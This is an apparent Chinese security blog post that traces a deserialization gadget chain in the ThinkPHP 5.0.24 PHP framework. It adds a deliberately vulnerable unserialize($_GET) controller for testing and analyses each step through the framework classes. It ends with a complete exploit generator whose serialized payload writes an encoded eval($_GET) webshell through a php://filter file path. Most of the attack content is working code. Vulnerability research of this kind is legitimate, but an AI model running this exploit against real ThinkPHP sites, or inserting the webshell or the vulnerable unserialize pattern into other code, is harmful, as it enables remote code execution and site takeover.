这个漏洞是框架的反序列化漏洞,只有二次开发实现了反序列化才可以利用,所以先构造漏洞代码,在/application/index/controller/Index.php中添加如下代码
1 2 3 4 5 6 7 8
| class Index { public function index() { echo "Welcome thinkphp 5.0.24"; unserialize(base64_decode($_GET['a'])); } }
|
Thinkphp 5.0.x反序列化最后触发RCE,要调用的Request
类__call
方法,所以直接找可用的__call
方法
这里选择了Output类(/thinkphp/library/think/console/Output.php),因为其中的block可以当作跳板
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); }
if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } }
|
从头开始分析,首先全局搜索__destruct
,选择Windows类(/thinkphp/library/think/process/pipes/Windows.php),代码如下
1 2 3 4 5
| public function __destruct() { $this->close(); $this->removeFiles(); }
|
跟进removeFiles
1 2 3 4 5 6 7 8 9
| private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
file_exists可以触发__tostring
,所以寻找__tostring
,找到了Model类(/thinkphp/library/think/Model.php)
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
跟进toJson
1 2 3 4
| public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
|
跟进toArray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation); ... // 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { ... } elseif (strpos($name, '.')) { ... } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|
由于我们的目的是执行__call
,所以要找函数调用的点,在toArray里有三处
然后看这三处哪里可控,经调试第三处可控,需要满足的条件是
1 2 3 4
| if (!empty($this->append)) if (method_exists($this, $relation)) if (method_exists($modelRelation, 'getBindAttr')) if ($bindAttr)
|
且不满足
1 2 3
| if (is_array($name)) elseif (strpos($name, '.')) if (isset($this->data[$key]))
|
才能够进入到第三处,首先需要满足$relation是Model内的方法,然后经过如下赋值
1 2
| $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
|
需要满足$modelRelation可控,经过查找,可以将$modelRelation设为getError
1 2 3 4
| public function getError() { return $this->error; }
|
然后跟进getRelationDate
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { // 首先获取关联数据 if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
|
这里需要$modelRelation为Relation类型。全局查找getRelation方法且为Relation类型的类,找到了HasOne(/thinkphp/library/think/model/relation/HasOne.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public function getRelation($subRelation = '', $closure = null) { // 执行关联定义方法 $localKey = $this->localKey; if ($closure) { call_user_func_array($closure, [ & $this->query]); } // 判断关联类型执行查询 $relationModel = $this->query ->removeWhereField($this->foreignKey) ->where($this->foreignKey, $this->parent->$localKey) ->relation($subRelation) ->find();
if ($relationModel) { $relationModel->setParent(clone $this->parent); }
return $relationModel; }
|
可以看到这些条件都是满足的,然后看getBindAttr,发现在OneToOne类中是可控的
1 2 3 4
| public function getBindAttr() { return $this->bindAttr; }
|
所以代码执行到
1
| $item[$key] = $value ? $value->getAttr($attr) : null;
|
就可以调用Output类的__call
方法,调用payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| namespace think{ use think\console\Output; use think\model\relation\HasOne; abstract class Model{ protected $relation; protected $append = ["1"]; protected $error; protected $parent; public function __construct() { $this->parent = new Output(); $this->relation = ["getError"=>"getError"]; $this->append = ["getError"=>"getError"]; $this->error = new HasOne(); $this->data = ["key"=>"ls"]; ; } } }
namespace think\db{ use think\console\Output; class Query { protected $model; public function __construct() { $this->model = new Output(); } } }
namespace think\model\relation{ use think\db\Query; use think\model\Relation; abstract class OneToOne extends Relation { protected $query; protected $bindAttr = []; public function __construct() { } }
class HasOne extends OneToOne { protected $query; protected $bindAttr = []; public function __construct() { $this->query = new Query(); $this->bindAttr = ["1"=>"1"]; } } }
|
然后接着看Output,在__call
中调用block
1 2 3 4
| protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); }
|
继续writeln
1 2 3 4
| public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }
|
write
1 2 3 4
| public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { $this->handle->write($messages, $newline, $type); }
|
而$this->handle是可控的,继续全局搜索write,寻找可控的点,找到了/thinkphp/library/think/session/driver/Memcached.php
1 2 3 4
| public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']); }
|
这样就有找到了一个跳板set,然后继续找可以写入文件的方式,找到了/thinkphp/library/think/cache/driver/File.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
|
此处$filename可控,跟进getCacheKey
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected function getCacheKey($name, $auto = false) { $name = md5($name); if ($this->options['cache_subdir']) { // 使用子目录 $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename);
if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
|
回来继续看$data,从传入的$value获取,但是在之前writeln处已经传入了true,而且不可控,只能继续往下看,可以看到当成功写入文件时,会调用setTagItem方法,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } }
|
又调用了一次set,且此处两个参数都是可控的,所以可以在文件名处搞事情,通过编码然后将文件名写入shell中
所以最终利用exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| <?php namespace think\process\pipes; use think\model\Pivot; class Pipes{
}
class Windows extends Pipes{ private $files = [];
function __construct(){ $this->files = [new Pivot()]; } }
namespace think\model;#Relation use think\db\Query; abstract class Relation{ protected $selfRelation; protected $query; function __construct(){ $this->selfRelation = false; $this->query = new Query();#class Query } }
namespace think\model\relation;#OneToOne HasOne use think\model\Relation; abstract class OneToOne extends Relation{ function __construct(){ parent::__construct(); }
} class HasOne extends OneToOne{ protected $bindAttr = []; function __construct(){ parent::__construct(); $this->bindAttr = ["no","123"]; } }
namespace think\console;#Output use think\session\driver\Memcached; class Output{ private $handle = null; protected $styles = []; function __construct(){ $this->handle = new Memcached();//目的调用其write() $this->styles = ['getAttr']; } }
namespace think;#Model use think\model\relation\HasOne; use think\console\Output; use think\db\Query; abstract class Model{ protected $append = []; protected $error; public $parent;#修改处 protected $selfRelation; protected $query; protected $aaaaa;
function __construct(){ $this->parent = new Output();#Output对象,目的是调用__call() $this->append = ['getError']; $this->error = new HasOne();//Relation子类,且有getBindAttr() $this->selfRelation = false;//isSelfRelation() $this->query = new Query();
} }
namespace think\db;#Query use think\console\Output; class Query{ protected $model; function __construct(){ $this->model = new Output(); } }
namespace think\session\driver;#Memcached use think\cache\driver\File; class Memcached{ protected $handler = null; function __construct(){ $this->handler = new File();//目的调用File->set() } } namespace think\cache\driver;#File class File{ protected $options = []; protected $tag; function __construct(){ $this->options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>', 'data_compress' => false, ]; $this->tag = true; } }
namespace think\model; use think\Model; class Pivot extends Model{
} use think\process\pipes\Windows; echo base64_encode(serialize(new Windows()));
|
注意这个洞在windows下是复现不了的,因为windows对文件名有限制,会写入失败
参考链接:
https://www.anquanke.com/post/id/196364
http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/